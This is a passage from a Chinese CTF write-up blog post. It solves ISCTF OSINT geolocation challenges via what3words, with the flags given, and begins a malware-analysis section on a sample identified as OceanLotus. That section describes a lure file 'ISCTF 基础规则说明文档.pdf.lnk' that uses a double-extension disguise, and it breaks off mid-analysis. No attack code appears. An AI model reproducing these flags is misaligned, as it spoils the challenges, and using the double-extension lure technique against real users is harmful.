class=\"wp-block-paragraph\">flag\u7684\u683c\u5f0f\u662fISCTF{word1.word2.word3}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">What3Words\u6307\u5f15\u89c1https:\/\/www.aristore.top\/posts\/What3Words\/<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c37\u6b4c\u5730\u56fe\uff1a<a href=\"https:\/\/www.google.com\/maps\/@64.6755767,114.3458647,4z?entry=ttu&amp;g_ep=EgoyMDI1MTEzMC4wIKXMDSoASAFQAw%3D%3D\">https:\/\/www.google.com\/maps\/@64.6755767,114.3458647,4z?entry=ttu&amp;g_ep=EgoyMDI1MTEzMC4wIKXMDSoASAFQAw%3D%3D<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">what3words\uff1a<a href=\"https:\/\/what3words.com\/cohorts.mattered.costumed\">https:\/\/what3words.com\/cohorts.mattered.costumed<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-123-1024x517.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"517\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-123-1024x517.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1688\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">OSINT-1<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-124.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"670\" height=\"806\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-124.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1689\"  sizes=\"auto, (max-width: 670px) 100vw, 670px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5ba1\u9898\u4e4b\u540e\u770b\u5230\u4e86\u4e24\u4e2a\u7279\u8272\u5efa\u7b51\uff0c\u76f4\u63a5\u641c\u96c6\u662f\u798f\u5dde\u5927\u5b66\u81f3\u8bda\u56fe\u4e66\u9986\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-125-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-125-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1690\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u4e0b\u6765\u6211\u4eec\u786e\u5b9a\u4f4d\u7f6e\uff0c\u8fd9\u91cc\u6709\u4e24\u4e2a\u7c7b\u4f3c\u4e8e\u6c34\u6c60\u7684\u4f4d\u7f6e\uff0c\u6211\u4e48\u76f4\u63a5\u5b9a\u4f4d\u5728\u56fe\u4e66\u9986\u548c\u2460\u53f7\u6c34\u6c60\u4e2d\u95f4\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-126-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-126-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1691\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6211\u4eec\u5f97\u5230\u4e86\u7ecf\u7eac\u5ea626.058821,119.197698\uff0c\u8f6c\u6362\u6210\u4e09\u8bcd\u4e4b\u540e\u5f97\u5230\u4e86\ncomments.lotteries.trails<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-127-1024x535.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"535\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-127-1024x535.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1692\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f97\u5230\u4e86flag\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{comments.lotteries.trails}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">OSINT-2<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5ba1\u9898\u540e\u770b\u89c1\u4e00\u4e2a\u5927\u6865\uff0c\u76f4\u63a5\u4fe1\u606f\u641c\u96c6\u53d1\u73b0\u8fd9\u662f\u54c8\u66fc\u987f\u5927\u6865\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-128-1024x640.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"640\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-128-1024x640.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1693\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u786e\u5b9a\u6211\u4eec\u7684\u4f4d\u7f6e\uff0c\u89c2\u5bdf\u5468\u56f4\u9020\u666f\uff0c\u4e0d\u662f\u9ad8\u697c\u5927\u53a6\uff0c\u770b\u5730\u56fe\u6211\u4eec\u521d\u6b65\u8ba4\u5b9a\u662f\nEast River Greenway<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-129-1024x586.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-129-1024x586.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1694\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-130-1024x534.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"534\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-130-1024x534.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1695\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u5728\u5730\u56fe\u4e2d\u627e\u5230\u4e86\u8fd9\u4e2a\u5730\u65b9\u7684\u7ecf\u7eac\u5ea6\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-131-1024x571.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"571\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-131-1024x571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1696\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8f6c\u6362\u5b8c\u4e09\u8bcd\u540e\uff0c\u5f97\u5230\u4e86flame.outer.like<br>\u6240\u4ee5flag\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{flame.outer.like}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">OSINT-3<\/h3>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-132-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-132-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1697\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fe1\u606f\u6536\u96c6\uff1a\u6839\u636e\u6d4b\u7ed8\u91c7\u96c6\u8f66\uff0c\u548c\u5468\u56f4\u73af\u5883\u53ef\u4ee5\u5224\u65ad\u662f\u54c8\u8428\u514b\u65af\u5766\uff0c\u897f\u5357\u65b9\u5411\u8fdb\u884c\u6392\u9664\uff0c\u56e0\u4e3a\u897f\u5357\u8fd8\u6709\u90a3\u4e9b\u5f88\u5e72\u7684\u5730\u65b9\u6392\u9664\uff0c\u6240\u4ee5\u5728\u897f\u5317\u8fdb\u884c\u627e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u54c8\u8428\u514b\u65af\u5766\u79d1\u65af\u5854\u5948\u6d32\uff0cA-21\u53f7\u9053\u8def\u627e\u5230<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-133-1024x608.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"608\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-133-1024x608.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1698\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-134-1024x578.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-134-1024x578.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1699\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u6a21\u4e00\u6837<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>54.3216214,65.7630612<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-135-1024x521.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"521\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-135-1024x521.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1700\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>ISCTF{immorally.misusing.began}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790-\u9898\u76ee1<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-136.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"631\" height=\"740\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-136.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1701\"  sizes=\"auto, (max-width: 631px) 100vw, 631px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d\u6587\u4ef6\uff0c\u5c06\u6587\u4ef6\u653e\u8fdb\u5fae\u6b65\u5728\u7ebf\u5206\u6790\u6587\u4ef6<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5206\u6790\u5730\u5740<a href=\"https:\/\/s.threatbook.com\/report\/file\/ddfdaeda4c879ed8ab89f4daecb7f948646cfa2afbb3af902e271eb0f9d40ae7\">\u6837\u672c\u62a5\u544a-\u5fae\u6b65\u5728\u7ebf\u4e91\u6c99\u7bb1<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-137-1024x682.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"682\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-137-1024x682.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1702\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e22\u7ed9ai\u5206\u6790<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-138-1024x431.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"431\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-138-1024x431.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1703\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6d77\u83b2\u82b1<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u75c5\u6bd2\u5206\u6790-\u9898\u76ee2<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-139.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"636\" height=\"444\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2025\/12\/image-139.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1704\"  sizes=\"auto, (max-width: 636px) 100vw, 636px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e00\u9636\u6bb5\u8f7d\u8377\u7684\u5165\u53e3\u6587\u4ef6\u5168\u540d\u4e3a \u201cISCTF \u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf.lnk\u201d<\/strong>\uff0c\u5177\u4f53\u5206\u6790\u4f9d\u636e\u5982\u4e0b\uff1a<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. \u5165\u53e3\u6587\u4ef6\u7684\u6838\u5fc3\u5224\u5b9a\u4f9d\u636e<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ece\u6587\u6863\u4fe1\u606f\u6765\u770b\uff0c\u8be5\u6076\u610f\u6837\u672c\u7684\u4f20\u64ad\u8f7d\u4f53\u662f\u538b\u7f29\u5305 \u201cISCTF.rar\u201d\uff0c\u5176\u5185\u90e8\u5305\u542b\u7684\u5b50\u6587\u4ef6\u4e2d\uff0c\u201cISCTF \u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf.lnk\u201d \u662f\u552f\u4e00\u5177\u5907 \u201c\u4f2a\u88c5\u8bf1\u9a97 + \u542f\u52a8\u6076\u610f\u6d41\u7a0b\u201d \u53cc\u91cd\u5c5e\u6027\u7684\u6587\u4ef6\uff0c\u7b26\u5408 APT \u653b\u51fb\u4e2d \u201c\u7b2c\u4e00\u9636\u6bb5\u5165\u53e3\u201d \u7684\u6838\u5fc3\u7279\u5f81\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u4f2a\u88c5\u6027<\/strong>\uff1a\u6587\u4ef6\u540d\u91c7\u7528 \u201c\u6b63\u5e38\u6587\u6863\u540d\uff08ISCTF \u57fa\u7840\u89c4\u5219\u8bf4\u660e\u6587\u6863.pdf\uff09+ \u9690\u85cf\u540e\u7f00\uff08.lnk\uff09\u201d \u7684\u53cc\u91cd\u6269\u5c55\u5f62\u5f0f\uff08\u6587\u6863 \u201c\u9759\u6001\u5206\u6790\u201d \u7ae0\u8282\u660e\u786e\u63d0\u53ca \u201c\u53d1\u73b0\u53cc\u91cd\u6269\u5c55\u6587\u4ef6\u540d\uff0c\u5e38\u7528\u4e8e\u4f2a\u88c5\u6216\u8bf1\u9a97\u70b9\u51fb\u201d\uff09\uff0c\u7528\u6237\u6613\u8bef\u8ba4\u4e3a\u662f\u666e\u901a PDF \u6587\u6863\uff0c\u70b9\u51fb\u6982\u7387\u9ad8\uff1b<\/li>\n\n\n\n<li><strong>\u542f\u52a8\u6076\u610f\u6d41\u7a0b<\/strong>\uff1a\u6587\u6863 \u201c\u52a8\u6001\u5206\u6790 &#8211; \u6267\u884c\u6d41\u7a0b\u201d 